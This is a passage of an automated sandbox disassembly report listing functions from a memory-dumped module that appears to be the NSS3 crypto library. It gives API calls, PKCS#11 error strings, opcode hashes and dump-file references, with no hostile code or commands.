Function 6CB7BE70 Relevance: 4.0, APIs: 1, Strings: 1, Instructions: 1029COMMON

Download Yara Rule

Strings

`, xrefs: 6CB7C0B6

Memory Dump Source

Source File: 00000001.00000002.2764652659.000000006CA11000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CA10000, based on PE: true

Associated: 00000001.00000002.2761833512.000000006CA10000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.2768255000.000000006CBAF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.2768962487.000000006CBEE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.2769152294.000000006CBEF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.2769436248.000000006CBF0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.2769591794.000000006CBF5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6ca10000_file.jbxd

Similarity

API ID:
String ID: `
API String ID: 0-2679148245
Opcode ID: aec62be42257cd191178b2c78c8268178a30123593c644958928a39c57b09e90
Instruction ID: 15bda30ae057d73b5d96d6f4daf814eb5daec57f67713bac555c32132256422b
Opcode Fuzzy Hash: aec62be42257cd191178b2c78c8268178a30123593c644958928a39c57b09e90
Instruction Fuzzy Hash: D6927174A042898FDB25DF58C880BAEB7B2FF48308F24816CD925A7B91D735DC56CB61

Function 6CA13D80 Relevance: 3.7, APIs: 1, Strings: 1, Instructions: 164COMMON

Download Yara Rule

APIs

htonl.WSOCK32(00000000), ref: 6CA13EA9

Strings

0, xrefs: 6CA13DAB

Memory Dump Source

Source File: 00000001.00000002.2764652659.000000006CA11000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CA10000, based on PE: true

Associated: 00000001.00000002.2761833512.000000006CA10000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.2768255000.000000006CBAF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.2768962487.000000006CBEE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.2769152294.000000006CBEF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.2769436248.000000006CBF0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.2769591794.000000006CBF5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6ca10000_file.jbxd

Similarity

API ID: htonl
String ID: 0
API String ID: 2009864989-4108050209
Opcode ID: 99ec955edae6951dadb8c874ac6f7730af00dcefd250f98ee478c837b720b74f
Instruction ID: 8c8f88f621b8f2a1d4d77cc78abae9af0553e41a31afc0dec29b6e177ece053d
Opcode Fuzzy Hash: 99ec955edae6951dadb8c874ac6f7730af00dcefd250f98ee478c837b720b74f
Instruction Fuzzy Hash: 5B512835A4F2B98AEB154E7D88603FFBBF19B82714F1D4329C5E16BEC0C22445868790

Function 6CABEE70 Relevance: 3.2, APIs: 2, Instructions: 223COMMON

Download Yara Rule

APIs

PR_SetError.NSS3(FFFFE005,00000000), ref: 6CABF019
PK11_GenerateRandom.NSS3(?,00000000), ref: 6CABF0F9

Memory Dump Source

Source File: 00000001.00000002.2764652659.000000006CA11000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CA10000, based on PE: true

Associated: 00000001.00000002.2761833512.000000006CA10000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.2768255000.000000006CBAF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.2768962487.000000006CBEE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.2769152294.000000006CBEF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.2769436248.000000006CBF0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.2769591794.000000006CBF5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6ca10000_file.jbxd

Similarity

API ID: ErrorGenerateK11_Random
String ID:
API String ID: 3009229198-0
Opcode ID: f28674b34aa5c963032b75bc96fe7a21ab5569db4e47a29f8ddf8cc7e5d013c4
Instruction ID: cfada210c9578b205351bed89e6a229557174a910d7373461e6c956abb58aa32
Opcode Fuzzy Hash: f28674b34aa5c963032b75bc96fe7a21ab5569db4e47a29f8ddf8cc7e5d013c4
Instruction Fuzzy Hash: 6D91CF79A0121A8BCB14CF68CC906AEB7F5FF85324F28462DD926A7BD0D730A945CB50

Function 6CAE2F70 Relevance: 3.1, APIs: 2, Instructions: 149COMMON

Download Yara Rule

APIs

PR_SetError.NSS3(FFFFE09A,00000000,00000000,?,6CB07929), ref: 6CAE2FAC
PR_SetError.NSS3(FFFFE040,00000000,00000000,?,6CB07929), ref: 6CAE2FE0

Memory Dump Source

Source File: 00000001.00000002.2764652659.000000006CA11000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CA10000, based on PE: true

Associated: 00000001.00000002.2761833512.000000006CA10000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.2768255000.000000006CBAF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.2768962487.000000006CBEE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.2769152294.000000006CBEF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.2769436248.000000006CBF0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.2769591794.000000006CBF5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6ca10000_file.jbxd

Similarity

API ID: Error
String ID:
API String ID: 2619118453-0
Opcode ID: 3b7ef1abb85ce32e5147202cc3c188ab373bd94f52bbaa721232f235e8d89ab2
Instruction ID: 75c1bbc25f7968497047e9c26e03f96734e5d114fe121defe4dc590bf28e1d24
Opcode Fuzzy Hash: 3b7ef1abb85ce32e5147202cc3c188ab373bd94f52bbaa721232f235e8d89ab2
Instruction Fuzzy Hash: E7510971A069118FDB10CE59C880B6A73B1FF4D318F1D4269D9895BB21D731E9C6EBC1

Function 6CB00E20 Relevance: 2.8, APIs: 2, Instructions: 279COMMON

Download Yara Rule

APIs

memcpy.VCRUNTIME140(00000000,?,00000000,00000000,00000000), ref: 6CB01052
memset.VCRUNTIME140(-0000001C,?,?,00000000), ref: 6CB01086

Memory Dump Source

Source File: 00000001.00000002.2764652659.000000006CA11000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CA10000, based on PE: true

Associated: 00000001.00000002.2761833512.000000006CA10000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.2768255000.000000006CBAF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.2768962487.000000006CBEE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.2769152294.000000006CBEF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.2769436248.000000006CBF0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.2769591794.000000006CBF5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6ca10000_file.jbxd

Similarity

API ID: memcpymemset
String ID:
API String ID: 1297977491-0
Opcode ID: d3ef41b9abfa1c6550f8155cc3b9b15f3fac730410ea5072bca808efd6f25eb4
Instruction ID: 3c4c95d29a49031a5df77b4009b744ab52ace3db7df25b48a6f7004bafe49797
Opcode Fuzzy Hash: d3ef41b9abfa1c6550f8155cc3b9b15f3fac730410ea5072bca808efd6f25eb4
Instruction Fuzzy Hash: 00A12C71F0128A9FDF08CF99D990AEEBBB6FF48314B148129E915A7700D735AC11CB90

Function 6CA2AC60 Relevance: 2.7, Strings: 2, Instructions: 181COMMON

Download Yara Rule

Strings

winUnlockReadLock, xrefs: 6CA2AE9F
winUnlock, xrefs: 6CA2AE18

Memory Dump Source

Source File: 00000001.00000002.2764652659.000000006CA11000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CA10000, based on PE: true

Associated: 00000001.00000002.2761833512.000000006CA10000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.2768255000.000000006CBAF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.2768962487.000000006CBEE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.2769152294.000000006CBEF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.2769436248.000000006CBF0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.2769591794.000000006CBF5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6ca10000_file.jbxd

Similarity

API ID:
String ID: winUnlock$winUnlockReadLock
API String ID: 0-3432436631
Opcode ID: aa0a46008aacddf272261fb8a8480540d887bd6fde19a9e43dcc17c44868768e
Instruction ID: 048d5ac88bbafe43372843ebe6a88525775d367de5c506289f9df64ffd2f3f65
Opcode Fuzzy Hash: aa0a46008aacddf272261fb8a8480540d887bd6fde19a9e43dcc17c44868768e
Instruction Fuzzy Hash: 9B716B706082509FDB04CF28E894AAABBF5FF89314F18C619F95997341D730A986CBD5

Function 6CAEED70 Relevance: 1.7, APIs: 1, Instructions: 217memoryCOMMON

Download Yara Rule

APIs

PORT_ArenaAlloc_Util.NSS3(00000000,0000003C), ref: 6CAEEE3D

Memory Dump Source

Source File: 00000001.00000002.2764652659.000000006CA11000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CA10000, based on PE: true

Associated: 00000001.00000002.2761833512.000000006CA10000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.2768255000.000000006CBAF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.2768962487.000000006CBEE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.2769152294.000000006CBEF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.2769436248.000000006CBF0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.2769591794.000000006CBF5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6ca10000_file.jbxd

Similarity

API ID: Alloc_ArenaUtil
String ID:
API String ID: 2062749931-0
Opcode ID: b51203e4b2318080346e191dc444ed80196527117a86a943b733acd6992df4c0
Instruction ID: 069f7d3985b058226e86b9ca6c77badf544891672b6363254df5b4403a050318
Opcode Fuzzy Hash: b51203e4b2318080346e191dc444ed80196527117a86a943b733acd6992df4c0
Instruction Fuzzy Hash: E971D272E017018FD718CF59D8806AAB7F2EB8C314F19862DD85697B91D730E980DBD1

Function 6CA15F30 Relevance: 1.6, APIs: 1, Instructions: 350stringCOMMON

Download Yara Rule

APIs

strcmp.API-MS-WIN-CRT-STRING-L1-1-0(00000000,00000000), ref: 6CA16013

Memory Dump Source

Source File: 00000001.00000002.2764652659.000000006CA11000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CA10000, based on PE: true

Associated: 00000001.00000002.2761833512.000000006CA10000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.2768255000.000000006CBAF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.2768962487.000000006CBEE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.2769152294.000000006CBEF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.2769436248.000000006CBF0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.2769591794.000000006CBF5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6ca10000_file.jbxd

Similarity

API ID: strcmp
String ID:
API String ID: 1004003707-0
Opcode ID: e0361f35ba2eb33b0e1f073789ee101f0ab01f36ee23baa90a4c20b63d04ae5f
Instruction ID: 866a738e581e1a08b5451cda1b4afd60074f0eadff02cf4026bdbf33d4b97fe3
Opcode Fuzzy Hash: e0361f35ba2eb33b0e1f073789ee101f0ab01f36ee23baa90a4c20b63d04ae5f
Instruction Fuzzy Hash: 96C10371B0C6468BDB04CE19C8907AAB7B2EF45328F6C8169D9A5DBF41D731E8C5CB90

Function 6CA24DB0 Relevance: 1.6, Strings: 1, Instructions: 318COMMON

Download Yara Rule

Strings

winUnlockReadLock, xrefs: 6CA25125

Memory Dump Source

Source File: 00000001.00000002.2764652659.000000006CA11000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CA10000, based on PE: true

Associated: 00000001.00000002.2761833512.000000006CA10000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.2768255000.000000006CBAF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.2768962487.000000006CBEE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.2769152294.000000006CBEF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.2769436248.000000006CBF0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.2769591794.000000006CBF5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6ca10000_file.jbxd

Similarity

API ID:
String ID: winUnlockReadLock
API String ID: 0-4244601998
Opcode ID: 8ce8fa48bef79e1a805c3328595128ba9adc53febf3e61d5a5cb738a83879ee8
Instruction ID: ff2ba186647e7cf97fe513690307457110ae352a43e7574517fd456fd1b76c57
Opcode Fuzzy Hash: 8ce8fa48bef79e1a805c3328595128ba9adc53febf3e61d5a5cb738a83879ee8
Instruction Fuzzy Hash: 27E13770A083808FDB44DF28E58465ABBF0FF89748F198A1DE89997351E734D985CF86

Function 6CBA5E60 Relevance: 1.4, APIs: 1, Instructions: 163COMMON

Download Yara Rule

APIs

Part of subcall function 6CBA5B90: PR_Lock.NSS3(00010000,?,00000000,?,6CA8DF9B), ref: 6CBA5B9E
Part of subcall function 6CBA5B90: PR_Unlock.NSS3 ref: 6CBA5BEA

memset.VCRUNTIME140(00000014,00000000,-000000D7,?,?,?,?,?,?,?,?,6CBA5E23,6CA8E154), ref: 6CBA5EBF

Memory Dump Source

Source File: 00000001.00000002.2764652659.000000006CA11000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CA10000, based on PE: true

Associated: 00000001.00000002.2761833512.000000006CA10000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.2768255000.000000006CBAF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.2768962487.000000006CBEE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.2769152294.000000006CBEF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.2769436248.000000006CBF0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.2769591794.000000006CBF5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6ca10000_file.jbxd

Similarity

API ID: LockUnlockmemset
String ID:
API String ID: 1725470033-0
Opcode ID: 765870e01ac74a1a285e53e67be40ac57547b096a3347e8632765bb24f41ae14
Instruction ID: 31f011e6843d26cfbfa5e62099693f63b939fe1b06f7f7d57fc34a26984f91c3
Opcode Fuzzy Hash: 765870e01ac74a1a285e53e67be40ac57547b096a3347e8632765bb24f41ae14
Instruction Fuzzy Hash: 1A519E72E0061A8FCB18CF99C8815AEF3F2FF98314B19456ED855B7745D730A945CBA0

Function 6CB5DCD0 Relevance: .4, Instructions: 371COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.2764652659.000000006CA11000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CA10000, based on PE: true

Associated: 00000001.00000002.2761833512.000000006CA10000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.2768255000.000000006CBAF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.2768962487.000000006CBEE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.2769152294.000000006CBEF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.2769436248.000000006CBF0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.2769591794.000000006CBF5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6ca10000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 3b64547b8f3aed175d8e8190a13b636def476f9a042890b5b068c112405d74e3
Instruction ID: e2b85b0b583c4ed29883d4b9f0163ffba0e729ba642a8c4d509db0ee434da161
Opcode Fuzzy Hash: 3b64547b8f3aed175d8e8190a13b636def476f9a042890b5b068c112405d74e3
Instruction Fuzzy Hash: 30F16A71A012858FDB48CF28D590BAE77B6FF89318F694168D8099B741CB35EC52CBD2

Function 6CAF1DC0 Relevance: .3, Instructions: 345COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.2764652659.000000006CA11000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CA10000, based on PE: true

Associated: 00000001.00000002.2761833512.000000006CA10000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.2768255000.000000006CBAF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.2768962487.000000006CBEE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.2769152294.000000006CBEF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.2769436248.000000006CBF0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.2769591794.000000006CBF5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6ca10000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 5cf8dc963f7f79db549299581b4ae9ef430c02c880e9910e3ec163e0518b33a5
Instruction ID: ca43a81710739eac8ad5276c8e16702c491247793c862109c4934c869fd5f19a
Opcode Fuzzy Hash: 5cf8dc963f7f79db549299581b4ae9ef430c02c880e9910e3ec163e0518b33a5
Instruction Fuzzy Hash: 85D14872A046568BDB118E18C8843EA7B73AB85328F5D4329ED741B7C6C37B9987C7D0

Function 6CA88EA0 Relevance: .1, Instructions: 57COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.2764652659.000000006CA11000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CA10000, based on PE: true

Associated: 00000001.00000002.2761833512.000000006CA10000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.2768255000.000000006CBAF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.2768962487.000000006CBEE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.2769152294.000000006CBEF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.2769436248.000000006CBF0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.2769591794.000000006CBF5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6ca10000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 5bed0e2dc6fb07dc2965799d973029b2e072210c059cdedb79f290f9e178c049
Instruction ID: b538529eb00d42373d680084c0fec2d95b51669fa99586cf5e1a0c9033c5ca54
Opcode Fuzzy Hash: 5bed0e2dc6fb07dc2965799d973029b2e072210c059cdedb79f290f9e178c049
Instruction Fuzzy Hash: EA11BF32A022158BD704DF28D884B5AB7B5BF42318F0842AAD8158FA42CB75ECC6C7D1

Function 6CB60C40 Relevance: .1, Instructions: 55COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.2764652659.000000006CA11000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CA10000, based on PE: true

Associated: 00000001.00000002.2761833512.000000006CA10000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.2768255000.000000006CBAF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.2768962487.000000006CBEE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.2769152294.000000006CBEF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.2769436248.000000006CBF0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.2769591794.000000006CBF5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6ca10000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 37bbfbbb41077e2b6959067845c8a5652d5841bd1f8ef243af6eb8e96e1a6baf
Instruction ID: f92163f8da66b48d454d1a6b3efe3ca4af69b4c7328ceedae4baf741e6acd31a
Opcode Fuzzy Hash: 37bbfbbb41077e2b6959067845c8a5652d5841bd1f8ef243af6eb8e96e1a6baf
Instruction Fuzzy Hash: AA11E3787043859FCB00DF2AD8806AA7BB5FF85368F14857DD8198BB01DB31E806CBA5

Function 6CAD3FF0 Relevance: .0, Instructions: 27COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.2764652659.000000006CA11000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CA10000, based on PE: true

Associated: 00000001.00000002.2761833512.000000006CA10000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.2768255000.000000006CBAF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.2768962487.000000006CBEE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.2769152294.000000006CBEF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.2769436248.000000006CBF0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.2769591794.000000006CBF5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6ca10000_file.jbxd

Similarity

API ID: CriticalEnterSectionUnlockValue$Error
String ID:
API String ID: 2275178025-0
Opcode ID: f4e8d0e2d33610b54b5224fa3c9c3848475a7e65d656517b72b39a41f7fde0a6
Instruction ID: efd1fbfbcbb762df00a71ba4c0ecd9fbeed358c8f3abdd45c2961b71c79b39a0
Opcode Fuzzy Hash: f4e8d0e2d33610b54b5224fa3c9c3848475a7e65d656517b72b39a41f7fde0a6
Instruction Fuzzy Hash: B8F05E70A047598BCB50DF28C59159FB7F4EF09254F119619EC8AAB301EB30BAD4C7D1

Function 6CB60D60 Relevance: .0, Instructions: 26COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.2764652659.000000006CA11000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CA10000, based on PE: true

Associated: 00000001.00000002.2761833512.000000006CA10000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.2768255000.000000006CBAF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.2768962487.000000006CBEE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.2769152294.000000006CBEF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.2769436248.000000006CBF0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.2769591794.000000006CBF5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6ca10000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 9ba2eb2004aedd4f77228f2367ef2a228ee838c060cfdc78aa45cc4f3a876bfd
Instruction ID: 335e58d874dfe13ee1a27bc3e9cc5c9fb0cf6ceb0134494a868335967057a3ab
Opcode Fuzzy Hash: 9ba2eb2004aedd4f77228f2367ef2a228ee838c060cfdc78aa45cc4f3a876bfd
Instruction Fuzzy Hash: 16E0923A2020B4A7DB148E0BE450AA97359DF81619FB4817DCD5D9FE01D733F8038786

Function 6CA8CC60 Relevance: .0, Instructions: 8COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.2764652659.000000006CA11000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CA10000, based on PE: true

Associated: 00000001.00000002.2761833512.000000006CA10000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.2768255000.000000006CBAF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.2768962487.000000006CBEE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.2769152294.000000006CBEF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.2769436248.000000006CBF0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.2769591794.000000006CBF5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6ca10000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 63fb2172955777438f78104c941bb9a1d563dfe28ff93f3105dc4b89654debc8
Instruction ID: 9c26120b6f9f02eab281e060a40831de76230f3f37efd697d863dce5e7804d81
Opcode Fuzzy Hash: 63fb2172955777438f78104c941bb9a1d563dfe28ff93f3105dc4b89654debc8
Instruction Fuzzy Hash: 98C04838244608CFC704DA1CE5999A43BA8AB096107040094EA028B721DA21F800CA84

Function 6CAC1D60 Relevance: 84.2, APIs: 1, Strings: 47, Instructions: 210COMMON

Download Yara Rule

APIs

PR_LogPrint.NSS3( rv = %s,CKR_FUNCTION_REJECTED,?,6CAC1D46), ref: 6CAC2345

Strings

CKR_PIN_INCORRECT, xrefs: 6CAC1D92
CKR_MUTEX_BAD, xrefs: 6CAC1F49
CKR_ENCRYPTED_DATA_LEN_RANGE, xrefs: 6CAC1F0F
CKR_SAVED_STATE_INVALID, xrefs: 6CAC1E56
CKR_INFORMATION_SENSITIVE, xrefs: 6CAC22B1
rv = %s, xrefs: 6CAC2340
CKR_TEMPLATE_INCOMPLETE, xrefs: 6CAC1F95
CKR_TOKEN_WRITE_PROTECTED, xrefs: 6CAC1DE0
CKR_NEXT_OTP, xrefs: 6CAC222F
rv = 0x%x, xrefs: 6CAC2312
CKR_WRAPPED_KEY_INVALID, xrefs: 6CAC1FB5
CKR_OPERATION_CANCEL_FAILED, xrefs: 6CAC1F77
CKR_WRAPPED_KEY_LEN_RANGE, xrefs: 6CAC2319
CKR_DEVICE_ERROR, xrefs: 6CAC229D
CKR_PIN_INVALID, xrefs: 6CAC2057
CKR_PIN_LOCKED, xrefs: 6CAC2075
CKR_ENCRYPTED_DATA_INVALID, xrefs: 6CAC226B
CKR_BUFFER_TOO_SMALL, xrefs: 6CAC2183
CKR_FUNCTION_REJECTED, xrefs: 6CAC2289
CKR_PIN_LEN_RANGE, xrefs: 6CAC2061
CKR_DEVICE_MEMORY, xrefs: 6CAC1FF3
CKR_CRYPTOKI_ALREADY_INITIALIZED, xrefs: 6CAC227F
CKR_OPERATION_ACTIVE, xrefs: 6CAC22B8
CKR_OBJECT_HANDLE_INVALID, xrefs: 6CAC204D
CKR_FUNCTION_NOT_PARALLEL, xrefs: 6CAC218D
CKR_WRAPPING_KEY_SIZE_RANGE, xrefs: 6CAC2327
CKR_RANDOM_SEED_NOT_SUPPORTED, xrefs: 6CAC22FF
CKR_WRAPPING_KEY_HANDLE_INVALID, xrefs: 6CAC2320
CKR_MUTEX_NOT_LOCKED, xrefs: 6CAC2225
CKR_NEW_PIN_MODE, xrefs: 6CAC1E9F
CKR_OPERATION_NOT_INITIALIZED, xrefs: 6CAC1FD7
CKR_TOKEN_NOT_RECOGNIZED, xrefs: 6CAC1F8B
CKR_SIGNATURE_INVALID, xrefs: 6CAC20CF
CKR_DOMAIN_PARAMS_INVALID, xrefs: 6CAC2015
CKR_RANDOM_NO_RNG, xrefs: 6CAC22A7
CKR_STATE_UNSAVEABLE, xrefs: 6CAC2037
CKR_PIN_EXPIRED, xrefs: 6CAC206B
CKR_TOKEN_NOT_PRESENT, xrefs: 6CAC1F81
CKR_FUNCTION_CANCELED, xrefs: 6CAC1E73
CKR_CRYPTOKI_NOT_INITIALIZED, xrefs: 6CAC2275
CKR_SIGNATURE_LEN_RANGE, xrefs: 6CAC20D9
CKR_TEMPLATE_INCONSISTENT, xrefs: 6CAC1EE1
CKR_WRAPPING_KEY_TYPE_INCONSISTENT, xrefs: 6CAC232E
CKR_CURVE_NOT_SUPPORTED, xrefs: 6CAC2179
CKR_TOKEN_RESOURCE_EXCEEDED, xrefs: 6CAC2293, 6CAC233F
CKR_DEVICE_REMOVED, xrefs: 6CAC2261
CKR_OK, xrefs: 6CAC1DFC

Memory Dump Source

Source File: 00000001.00000002.2764652659.000000006CA11000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CA10000, based on PE: true

Associated: 00000001.00000002.2761833512.000000006CA10000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.2768255000.000000006CBAF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.2768962487.000000006CBEE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.2769152294.000000006CBEF000.00000008.00000001.01000000.00000009.sdmpDownload File
